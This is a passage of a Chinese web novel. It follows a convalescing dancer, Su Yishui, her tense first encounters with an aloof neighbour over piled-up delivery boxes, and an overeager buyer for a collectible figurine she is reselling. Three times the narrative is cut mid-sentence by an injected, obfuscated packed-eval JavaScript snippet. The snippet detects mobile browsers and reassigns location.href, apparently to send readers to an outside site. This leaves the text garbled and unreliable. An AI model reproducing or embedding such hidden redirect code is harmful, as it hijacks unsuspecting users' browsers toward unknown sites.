《你相信彼得潘吗?》 3. ·疑心病· 微信对话框弹出消息,是闺蜜施可然发来的。 【施可然:水儿,手臂怎么样?】 【苏亦水:拆绷带了,好的差不多。】 【施可然:你什么时候回来啊?】 【苏亦水:快了。】 苏亦水不在的日子,施可然就连去食堂都提不起兴致。 【施可然:团里来新编导了,你知道吗?】 【苏亦水:哭笑/刚知道。】 这不人家已经找上门来了。 她的目光无意识看向了角落的运动包,台灯不偏不倚给它打了一个圆形的舞台光,像是来自散漫生活的无形中的暗示。 【施可然:熟人?】 【苏亦水:曾经的老师。】 李文觉算的上是把苏亦水领进门的师傅,笼罩在整个童年的压迫感,至今仍在影响着她。 【施可然:你老师真的快把我们所有人都逼疯了。】 苏亦水早就料想到会是这样的结果。 施可然对李文觉的怨念颇深,吐槽起来发狠了。 【施可然:第一天上班,群演跳得不符合她要求,十分钟没到一个人走了,这人不仅对演员狠对道具组更是毫不留情,前些天临开演两小时说假山颜色不对让我重新刷。】 【施可然:颜料都没干透。】 苏亦水比他们更早就栽在这位阴晴不定的李文觉手上,整个童年都是如此。 感同身受中还带着一丝麻木。 【苏亦水:她来找我了。】 【施可然:虽然艺术家都带点神经质,但你还是自求多福。】 苏亦水点开了那个深棕色调展示舞蹈动作的头像,其实艺术家的身上一定也会有自恋的因子。 【李文觉:周六下午,老地方。】 【苏亦水:1】 没有寒暄,没有扯皮,没有毕恭毕敬,两个人只是同事的关系,嫌隙中长出了这段对话。 崭新的床垫、洁净的床单,所有家具都崭新而冰冷地各就其位,参差不齐但却意外和谐。苏亦水平躺着,目光扫过衣柜、梳妆台、床头柜,最后落在发光的手机屏幕上。在这个过于整洁陌生的空间里,除了打游戏,网购成了她与外界最热烈的勾连。 丝绒材质的宝蓝色展示柜,铅色金属置物架,原木质地的衣架,荔枝色的抱枕,杏仁露一般极易弄脏的地毯,各式各样的小件,苏亦水想用颜色来填补空间的冰冷,最后还有一整面墙的镜子。 两点十三分,这个时间往往是苏亦水的活跃期,她从床上起来,打算收拾东西。 她从瘫躺的床上起身的那一刻,眼前一黑,不自觉地头脑发昏,差点栽倒,苏亦水慢慢扶着床坐下,闭上眼睛,与周围的黑暗保持一样的呼吸频率。 苏亦水扶着墙壁缓慢移动到卫生间,打开壁灯。 自上而下的顶光,把她的骨骼照得分明,那是一张让人过目难忘的脸,惨白惨白,浑圆的额头,挺修的鼻梁,眼睑低垂时,那双澄明的眼睛会被眉骨和睫毛的阴影笼罩,水池的反光照在眉目上,脸侧通体地亮了起来,像一个悲切透明的清晨。 苏亦水深切地感受到,自己身体各项机能都在某种程度上退化了。 肌肉在以一种消极的姿态流逝。 苏亦水只是轻叹,表情过分安静平和,她从手腕上 取下皮筋,抬手把毛躁的头发抚平,慢慢转圈绑起来,即便已经放缓了动势,惯用右肩还是隐隐作痛。 舞台光是一束洁白无瑕的天使光,比浴室的顶光更强烈更炽热,直射时画面会生出一层灰金颗粒,主角头上出现一圈发色比较浅的光圈。 她在台下活动着脚踝让血液提前活跃起来,耳边开场前身边人的鼓舞,编导的叮嘱,还有台下观众进场的活动声,背景音乐响起时,她并不紧张,她登场了。 脑子里的三条弦,同时进行,动作、音乐、动线,时而交织,时而平行,有条不紊。 第四幕开场,她轻盈地跃上舞伴的肩膀,那是一个托举动作。 就在那个瞬间,她清晰地感受到自己的肩膀滑脱了,顺着圆周运动带着自身重量,生生从肩关节滑出来了,一个齿轮滚出履带的声音,沉闷又生硬。 苏亦水的右手手臂脱臼了。 舞伴似乎也感受到了手臂的不对劲,像棉条一般,他只好临时把连续的托举动作给改了。 苏亦水全然失去了痛觉,她各处的线条走动看不出丝毫问题,身躯依旧优雅,庄严安静地陈列在舞台上,一呼一吸,如同未曾改变,未曾位移,未曾更迭。 场幕闭合。原本她要面向四方鞠躬谢幕,这次是苏亦水从业生涯中唯一一次错过,因为她被送进了医院。 “呜——”高亢的长鸣穿透噪音,穿透玻璃窗,街道上的救护车正好开过。 苏亦水愣了愣,又重新躺回床上。 隔日下午,她是被快递电话吵醒的,从家里寄出的快递已经送到了。 苏亦水点完外卖顺带出门把快递都拆了,结果快递多到她连门都打不开,就快把整个楼道都占满了。 这个时候她纤细的身材就充分发挥优势。 除了家里寄出的还有网购的,她刚搬家的这几天就光顾着拆快递了,拆完的快递盒都堆积在门口。 苏亦水对打扫卫生兴致缺缺,奉行极简的懒人哲学。每次快递盒快堵住电梯口了,她才懒散地伸出脚,把它们一个个踢回自家领地。 每次想要打扫卫生时,内心总会出现两股势力的缠斗:一个说“现在打扫完了可以舒服干净一段时间”,另一个说“算了,再攒攒吧,攒多一点去打扫更划算”。 总之,眼下这间房子已经看不出一点崭新的痕迹,满地都是泡沫纸和附赠的小卡片,苏亦水才想起来,自己家连扫帚都没有,她只好立即在网上下单扫地机器人,一边看着动漫一边感叹,科技造福人类。 “好重。”这个快递盒是用木箱打包的很是贵重,她早就忘记里面装了什么。 苏亦水用泡沫纸垫在下面单手拉着木框拖进家门,家里也没羊角锤,只能拿剪刀一点点把钉子撬开,苏亦水这几天什么也没干,光是拆快递把家具组装在一起,手臂上都涨回一点点肌肉,就是辛苦左手了。 打开一看,她居然把苏砚景最喜欢的那个等身手办给一起带过来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251565|181982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个手办是他大学时期从日本买的周年限定典藏版,一共只发行了十套,走了许多海关程序才托运回国的,放在书房,看得比命还重。这几年他工作忙起来,没时间照顾手办,就把这些交给苏亦水和她的娃娃一起保养。 苏亦水的脸上根本藏不住笑,是一种比得逞更狡猾的笑,笑得整个人前仰后翻。说起来她和这个动漫还有些渊源,番是当年和哥哥一起追的,她推的一个女角色被作者剧情刀刀死了,自此苏亦水彻底粉转黑,房间里禁止出现和那部动漫相关的产品。因此,这个手办被她放进了地下室,快递只有可能是苏与琮寄的。 她绕着手办拍摄了一整圈,各个角度的高清照片。还没把照片发给苏砚景,她就收到噩耗。 【苏砚景:你藏在床边的零食都给你处理掉了,居然还有吃了一半的虾片。】 【苏亦水:不是?谁允许你进我房间的?里面不是还有没吃过的两盒脆香米吗?你全扔了?】 【苏砚景:你要留着?供起来?】 果然没有好事。那可是整整两盒还没开封的脆香米!哪怕是喂狗也行——单指苏砚景这条。居然全扔了,气得她直冒火。 【苏砚景:我上次放你那儿的手办呢?】 苏亦水敲敲手机屏幕上的照片,嗤笑两声。 【苏亦水:卖掉了。】 【苏亦水:低价出。】 【苏亦水:很赚哎。】 苏砚景看着三个三个蹦出来得字,心绞痛,他甚至能想象到苏亦水欠揍的表情。 苏亦水原本就想把手办挂网上出掉的,经苏砚景这么一提醒,手那么一抖就发布出去了。 她对丝绒羊毛这些质地有着特殊的偏爱,买了很多布艺装饰,拆完快递满地狼藉,她就把扫地机器人才电池仓放了出来,这只机器人脑子不大聪明,总是习惯性绕远路,苏亦水看不惯它那磨磨叽叽的性格,甚至把垃圾都堆在了一起,蹲在地上,看着机器人工作。 “喂,笨蛋,这边啦。”苏亦水温柔地挥挥手,寄希望于它能听懂,无聊到一定程度的她都开始和非自然生物对话,“算了,今天把快递箱都拿到楼下去吧。” 苏亦水还给机器人取了个及其普遍的名字:“喂,你在家好好工作哦。” 她在睡衣外裹了一件卫衣,踩着人字拖正打算出门,立即接到了一个陌生号码来电。 “您好,是住在2102的苏小姐吗?” “我是,怎么了?” 苏亦水瞬间警觉起来,她还没点外卖,怎么会有人打电话,可以说她搬进来的这几天唯一打过交道的就只有外卖员了。 “嗯,我是温水湾三号的物业,冒昧打电话过来,请问您是刚搬到这里的吗?”物业的态度很和善,“2101的业主托我联系您,您的快递盒已经影响到他的出入了。” 苏亦水:“?” 她把门打开一看,果不其然,又有新的快递盒了。 电梯口同时打开,一个身量很高戴着黑色口罩的男人,走了出来。 空气一道被闭紧的电梯门抽空,隔着纸箱垒砌的楚河汉界,两个人陌生又沉默地对峙着。 4. ·小气鬼· “啪嗒——” 声控灯不合时宜地熄灭了。 苏亦水慌乱中把箱子碰倒了,杂乱的头发丝看上去比纸箱的形状更糟糕。 声控灯重新亮了。 她失去重心后跌入一双深邃的眼中,虚无、冰冷、寡淡、了无生气,带着暗淡光彩的黑色瞳仁,尽管他的肤色很白,但却给人一种阴沉沉的印象,他穿着幽暗的衬衫,他的头发是黑色的,每一根的位置都像是精心打理过,恰到好处地分布在眉骨附近,与窄镜框形成一个幽深的遮住眼睛的投影。 下半张脸被黑色口罩遮着,依稀能看出口罩下面的轮廓异常英挺,会让人产生奇异的遐想。 眼镜框和衬衫,散发着名为“哲学”的草木质地。 他的衬衫袖口被挽起了半截,甚至连衣袖上的褶皱都一丝不苟地保持对称,露出了半截手腕,青绿交错的血管像蜻蜓翅膀上的纹路。 苏亦水观察到他腕侧贴着透明创可贴,伤口应该不浅,棉片层依稀渗出血晕。 充满了可怖的美感。 他,会不会是《美国精神病人》里的变态杀人狂? 这个念头刚冒出来,她就猝不及防地打了个寒颤。 苏亦水有那种会把隔壁邻居幻想成反派的毛病。 两个人似乎都在等着对方开口。 苏亦水只有在家才横,在外面并不擅长与陌生人搭话,尤其是男性。 “那个,我等下就把快递盒处理了。”苏亦水的动作利落,迅速把较小的飞机盒叠在一起,假装忙碌。 “嗯。”他就这么浅浅地答了一声,声音如同干邑一样柔和、醇厚。 良久,场面又同循环往复不停明灭的声控灯一般陷入尴尬,楼道安静地能听见纸箱里残存泡沫滚动的声响,对面的人站在原地,一动不动。 他似乎看出了苏亦水仍想偷懒的侥幸心理,就这么硬生生扛着尴尬的处境,不动声色地监督她。 半小时前,梁崇原正坐在回宴北的飞机上。 电梯门打开的一瞬,他就被纸箱的气味攻击了。 梁崇原从来没有见识过这样的场面,他就站在电梯里,静静地拨通了物业电话。随后下楼去车里取出口罩戴上。 苏亦水就是在这期间内接到物业电话的。 楼道里的灯光冷硬,照得那些纸箱像一堆沉默的、臃肿的怪物。而她,正被另一个更冷的“怪物”监视着。 其实苏亦水原本就想出门把那些垃圾处理掉的,现在这样,被一个陌生且极具压迫感的男人无声监督着,反倒让她生出了逆反心理,浑然诞生出一股子不惧强权的勇气。 就好比明明自己刚写完作业,拿出手机玩一会儿,就被家长逮住,教育道:“怎么还不好好学习。” 主动选择做某事和被动要求去做某事,二者在能动性上有本质区别。 苏亦水可以自己把整个楼道哪怕是安全通道都打扫一遍,但坚决不接受带着满足他人要求性质的“特殊监督”。 她绝不低头。 苏亦水一骨碌从高至肩膀的纸壳堆里跳出来,把靠近电梯中轴线的那些箱子都往家里搬。 察觉到她的靠近,梁崇原后退半步,始终保持着两米以上的距离。 他这才看清她的全貌。 蓬松的长卷发把整个身体网住。宽大的卫衣下面有一节睡裙,晃荡着,显得衣服更加空洞,露出的四肢看上去纤细而轻盈,骨骼似乎是羽毛中空的质地,由风塑造,而年轻结实的肌肉,却蕴藏力量。 她看上去生病了。 和那些在运输中被暴力摔打无数遍的快递盒相比,她是个易碎品。 直到电梯发出声响,梁崇原察觉到自己方才的注视很是冒犯。他的目光游移至别处,脸上掠过一丝细微的歉意。 “我收拾好了。”苏亦水拍拍手,站直了身体,一只手斜靠在电梯门框边,坦坦荡荡地对他说。就好像把背挺直一点,对面那个189大高个就看不到她身后的垃圾堆似的。 梁崇原:“?” 他的瞳孔轻微地收缩了一瞬,露出一丝未来得及遮掩的错愕。 苏亦水向前跨一步,用脚尖从电梯门缝儿划了一条中线,理直气壮道:“反正这里只有我们两家,这条线往左是你的地盘,往右都是我的,我这些快递绝不会跑到你那边去。”说着还拍拍胸,小学生式地保证自己绝不越过三八线。 梁崇原:“??” 苏亦水双手抱胸,护着身后的快递盒,补充道:“这些东西都是我要拿来卖钱的。”她假模假式的小表情很是生动。 在感知到对方并未散发攻击性气息后,苏亦水收起了最开始的害怕,变得理直气壮。 梁崇原漠然:“作为邻居,我没有义务提醒你遵守公共秩序。” 音调依旧没有明显的起伏:“你的快递盒虽然没有影响到出入,但电梯内禁止吸烟。” 意思是快递盒的味道影响了他?这人是狗鼻子吗!苏亦水只觉得一股火气窜上来,她把手中的纸箱往地上一跺。他的语气越平静,她就越能感受到那种居高临下的嫌弃。 苏亦水的这个隔壁邻居一直一直在挑衅她。 又不是一直放在这儿不扔了,什么意思啊?鄙夷我,说我没有公德心?她的鼻腔里仿佛真的闻到了一股刺鼻的烟味,混合着新纸箱的油墨味,搅得她心烦意乱。这人简直是在无理取闹!更何况现在又没有工具,一趟一趟送下楼,要折腾到什么时候? “大哥,我把箱子折叠起来是需要时间的,更何况现在还没有托运的工具。”她不耐烦地回敬道。 梁崇原被大哥两个字生生砸老了半岁,他差点以为自已手臂上纹了青龙白虎。梁崇原满脸狐疑地看着她,只是一个把快拆开折叠压扁的动作,她却做得很僵硬,全场一直使用左手,弯腰时也习惯性线下蹲。 而这一切,这些都是苏亦水的小把戏,她为了逼走他,充分发挥懒人必备技能——磨洋工。 梁崇原见她开始认真整理,就准备回家了。 刚转身苏亦水就对着那个黑色背影做鬼脸,才气顺了一点,满是怨气地小声嘀咕:“小气鬼,就只知道嘴上说说,也不知道帮个忙?” 梁崇原准备回家的脚步顿了顿。 当面蛐蛐被他听见了! 苏亦水假装不甚在意地哼起了歌。 “那个,你需要帮忙吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251566|181982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?” 梁崇原和刚才的他简直判若两人。 鬼精如苏亦水也完全想象不到自己对家人屡试不爽的撒泼大法还能作用到陌生人身上。 他居然出乎意料的乖巧? 苏亦水呆呆地点点头,放下手中的纸盒,退后两步。 结果,那个人还真就听话地过来帮忙收拾东西了。 梁崇原的视线完全停留在眼前的被拆扁的纸盒上,甚至还认真示范道:“这样,用扎带绑起来。” 他一本正经整理纸箱的样子,简直叹为观止。苏亦水还没见过像他这样把快递纸箱加工成艺术品的人类。 梁崇原停顿一下,抬头看她,问到:“你不是要留着卖钱?”他好像真的相信了这句玩笑话。 苏亦水都怀疑自己有什么言出法随的超能力了,这人怎么能如此听话? 画面太诡异了,让她更加怀疑他的真实身份。 苏亦水鬼使神差地点点头又摇摇头。 “那我帮你扔掉?”他甚至还要征求苏亦水的意见,用一种极为妥帖的温柔语气问她。 “嗯嗯。”苏亦水懵了,囫囵回道,“谢谢。” 就这样静静地看着男人两只手轻松拎着纸箱的背影。 苏亦水的纸箱全然消失了,心里却不觉得轻松,就好像防御堡垒少了一层,眼下她和奇怪邻居就只隔着两扇薄薄的铁门了。 别有目的?图谋不轨?苏亦水有些惊恐。从小到大,追她的人不在少数,但大多都让她感到害怕和不适。 苏亦水仔细回想刚刚的画面,与其说对自己感兴趣,不如说对自己家的垃圾更感兴趣,他行动时眼中闪过的是诡异的兴奋,做手术般精准将纸箱切割折叠…… 糟糕,可别被怪人给缠上了。 就在她百思不得其解之时,电梯门又响了。 苏亦水惊恐地赶紧把自家大门关上,透过猫眼望出去。 来人好像不是他。 “咚咚——”一张人脸猛地靠近。 “您好,是2102业主,苏小姐吗?我是温水湾三号管家。” 她打开门。 物业小哥手上还带着一辆拖车,看样子是专门打算帮她收拾东西来的。 “苏小姐您好,我看您门口已经收拾得很干净了。” “嗯,刚刚弄好。” 苏亦水不是那种故意找茬,给他人工作增加麻烦的人,她唯一随意使唤的只有哥哥。 苏亦水鞠躬道歉:“抱歉,让你白跑一趟。”她又从冰箱里拿了一瓶矿泉水出来,递给他。 “啊,没关系的,这都是我们应该做的,那不需要推车的话我先走了,有需要再联系我。”物业小哥也是欣然接下了矿泉水。 “对了,给你打电话的是2101的住户?”苏亦水循循善诱,“他没生气吧?” “没有,梁先生脾气特别好。”物业小哥收了瓶水,碰见个温柔的业主,说话都轻声细语的。 “哦,这样啊。”苏亦水语气浮夸,弄得跟自己没见过梁先生似的,“希望他不要觉得自己遇上一个麻烦的邻居。” 电梯铃响,物业小哥毕恭毕敬说了句:“梁先生,您好。” 5.·橄榄绿· 梁崇原微微颔首。 苏亦水看着他尴尬地笑了两声,脸上的表情僵作一团。 物业小哥注意到对面的两个人都非常好看,男人很年轻,表面上温润如玉,只是瞥了他一眼,冰冷的视线有些刺人。女人看上去不修边幅,却因为一瓶水的关系让人觉得容易亲近。 梁崇原没有答话,只是伸手推门。另一只手拳着,腕侧因扎带用力过度,渗出了血。 门后,是一片寂静。 所有日用品都镀着一层冷银色,黑色的百叶窗漏出锋利成型的光,割在沙发上,像为铅灰色的墓碑贴上封条。 回到房间,苏亦水仍心有余悸:她是不是早就被盯上了?不久便会惨遭毒手?应该……还不至于被做成标本吧。自己现在这个身材还不是最理想的状态,体脂率过高,肱二头肌都萎缩了,就算做成标本起码也得等她练出肌肉再说。 她不再胡思乱想,从冰箱取出刚冻不久的预制披萨。苏亦水不会做饭,搬家这几天,她几乎尝遍了附近能点到的所有外卖,味道却都一言难尽。与其吃外面的预制菜,还不如自己动手。 对她来说,最有用的家电就是微波炉和空气炸锅。她并非狂吃不胖的天选之子,而且还是个挑食又嘴馋的吃货。苏女士至今还存着她四岁初学舞蹈时穿粉色体操服的视频——那小肚子弹润,简直就是鸡翅包饭。沈女士常调侃,要不是一直学舞,苏亦水的体重恐怕早就失控了。 但是学舞蹈,也意味着落入了另一个极端,一个对抗身体本能饥饿反应的极端。 苏亦水生病前,每天都要排练,要是碰上巡演季训练强度更大,在这种情况下她维持着一日两餐的进食方式,在团里吃食堂的菜堪堪维持生命体征,忙起来就不太能感觉到饥饿了。 住院后,每天咂磨些寡淡无味的营养粥,整个人像一张砂纸被打磨了,半月之内,磨得骨头上盖了一层薄皮,她才恍然:自己之前十几年过得都是什么苦日子。 那只一直被拴在石磨前的驴被卸下了挽具。 苏亦水再也不去计算一口冰激凌的热量。 - 窗外蓝色,蓝的很彻底,没有沉淀物,她坐在那个L型的飘窗上,陪天色隐入黑暗。 苏亦水缓缓拉上窗帘,排灯通电,揭下镜子上覆盖的那层薄膜。 她选择租这间房子还有这个条件:宽敞到足以容纳一整组跳跃动作,而且这木地板很有弹性。 这间房间是原房东的衣帽间,只装了一面墙的柜子,空间很大。 苏亦水把瑜伽垫铺在地上,正准备热身。 手机收到了无数条消息。 她还以为自己被网暴了。 【咸鱼37596:可小刀吗?】 【挪威修行海带条:这么便宜,正版吗?有购买记录吗?】 【邪恶水瓶冥王星:正版?这么白菜?骗子吧。】 苏亦水皱着眉从头往下刷,基本上都是对价格的质疑。 除了一条头像是像素点的账号发出的消息。 【永不接关:诚心出?】 苏亦水随意挑一个回复【嗯。】 【永不接关:5700?】 【地上水循环:可以小刀。】 苏亦水上面的定价就是5700,苏砚景当时光运费就不止这些,她还在主页详情写着:明显使用痕迹。 价格低到一定程度让大部分买家怀疑是假货。 【永不接关:8999?】 【地上水循环:你认真的吗?】 她看到消息都愣住了,下意识地揉了揉眼睛,极轻微地摇头,重新观察这条荒谬的消息。旋即,点进那人的主页,除了一个ip地址什么都没有。 【永不接关:19999?】 苏亦水第一次遇上这种不砍价还加价的买家。 今天这是怎么回事?走大运了?同时遇到一个帮忙收拾垃圾的,一个上赶着送钱的。苏亦水浑身上下都有一种不妙的预感。 诈骗? 【地上水循环:停停停,宝子,你很着急吗?】 那人没了动静,聊天框上显示:对方正在输入…… 【地上水循环:5700不包邮。】 【永不接关:已付款等待发货/】 苏亦水又算错了?这人怎么不按常理出牌。 【永不接关:可以接受上门取件吗?】 苏亦水就知道,命运馈赠的礼物早就在暗中标好了它的诈骗金额,哪儿有什么天降横财。 【地上水循环:不可以。】 【永不接关:转账5700】 真有? 【地上水循环:宝子,你这么着急嘛?等我打包好发货不是一样的。】 而且她们好像在同一个IP,顺丰发货一天就够了。 苏亦水一边欣赏这精致手办,一边等待对方回复。没想到退坑还能赚上一笔,真是全靠苏砚景嘴贱。 对面又没动静了,这次时间停了一分钟。 这人难不成是对她的称呼不满?“宝子”对苏亦水来说不算亲密关系的称谓,已经完全可以日常化,代换成淘宝客服的“亲”了,她只是出于社交礼貌。 又过了半分钟,对面回复。 【永不接关:如果濒危动物灭绝了,那还需要保护吗?】 这回苏亦水尬住了。 等身手办在搬运过程中很容易受到破坏,对面大概率是这部动漫的真爱粉,一种纯粹虔诚的喜欢,生怕自推受到一点伤害。苏亦水尊重买家的意愿,做出妥协。 【地上水循环:如果是上门取件,时间我定。】 她们一生都太过提心吊胆了。 夜晚、马路、街边、小区、商场、餐厅、电梯。 苏亦水有严重的被迫害妄想症,她害怕把信息暴露给别人。 也许是多想,但是在这些不同时间不同地点,刷新出的血淋淋的经验,告诉她们,需要比平常更认真、更谨慎。 是她们的问题吗? 要知道真正的豺狼可从来不会遵循“狼来了”的故事节奏。 【永不接关:感谢理解。】 他熄灭手机屏幕,走进浴室。 水流砸在玻璃隔板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261553|181982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,滑过水雾,灯光透进来,发稍湿漉漉向下淌着水,渡鸦羽毛一样的墨黑。他单手支撑在盥洗池上,右手持着锐利的剃刀。 苏亦水把头发用干毛巾包好,穿着比她脚后跟大半截的拖鞋,骨盆前倾,外八字迈开,松散且放肆地撂在了沙发上,两腿交叠斜靠着软垫。除去一个人打扫、做饭、洗衣服这些麻烦,独居就只剩下爽这一字了! 苏亦水在家里虽然也是随心所欲,想玩手机到多晚就玩到多晚,但是总有个盯梢的,处处和她做对的苏砚景。 眼下她想泡几包螺狮粉就泡几包,就算做成香皂也没人管。 抱着这盆螺狮粉,喝着波子汽水,角落里的黄色台灯聚焦在茶几边,空调开到二十一度,毛绒绒的毯子把全身裹到只剩下一颗脑袋露在外面,苏亦水就想维持这样的生活,哪怕旁边死了一个人也不管。 就保持这个安静的姿势,千万不要有人来打扰。 事与愿违。 她的电话响了,苏女士打来慰问的。 苏女士:“崽崽,最近睡得好吗?吃得好吗?门窗有没有锁好?需不需要叫哥哥过来陪你两天?” 她没打视频,是为了遮掩着自己担忧的表情。 “不用,妈妈,我一个人过得可舒服了!”苏亦水看动画片看得入迷,她最近正在重温蜡笔小新。 耳机那头其实还有趴着偷听的沈先生,听到苏亦水的声音后,他略感欣慰,但眼中难掩失落,这就意味着:女儿好像不需要他们了。 苏亦水是苏迩三十八岁那年出生的,高龄产妇,早产诞女,她刚出生时太孱弱像只粉粉的小老鼠,在保温箱里呆了半个月才出来的,几乎全家人的心都系在这个小娃娃身上,由于小时候长得过分软糯可爱,导致大家都忘记她是一个多动症宝宝。再长大一点,就会走路了,出门从不让人牵,但是一转身,你就抓不住她,苏亦水是一款在地性很强的旋风小陀螺。 这也是她小名“闹闹”的由来。 挂断苏亦水这边的电话后,夫妻俩辗转难眠。 没心没肺的苏亦水正在某个乙女游戏里当牛马刷素材攒积分。情人节限定卡池将至,她手气太烂,回回都要保底才出。氪金只是手段,肝才是习惯。连续两小时卡在同一关,气得她反手充了648。 平板盯久了,眼睛模糊发涩,苏亦水揉了揉眉心,强迫自己把视线从屏幕上移开,落在带有斑驳暗纹的墙面面上。 不知是不是没开灯的缘故,晦暗的墙面向外渗透寒意,这是和邻居共有的墙面。 整面墙都贴上墙纸,近似香云纱材质,上面的橄榄枝暗纹无孔不入到像无数只阴恻恻的眼睛,透过墙面,盯着她看,让人毛骨悚然。 苏亦水蹑手蹑脚地从沙发上走过去,轻轻敲了两下墙,测试一下隔音效果。 实心的,隔音很好。 看久了她的眼睛有些失焦,墙面早上还是散发热带气息绿色,一到夜晚就成了福尔马林罐子里的颜色。 橄榄绿,薄脆的,如同一张纸般的墙面,她忍不住过度揣测: 他是否也会像这样,贴墙偷听?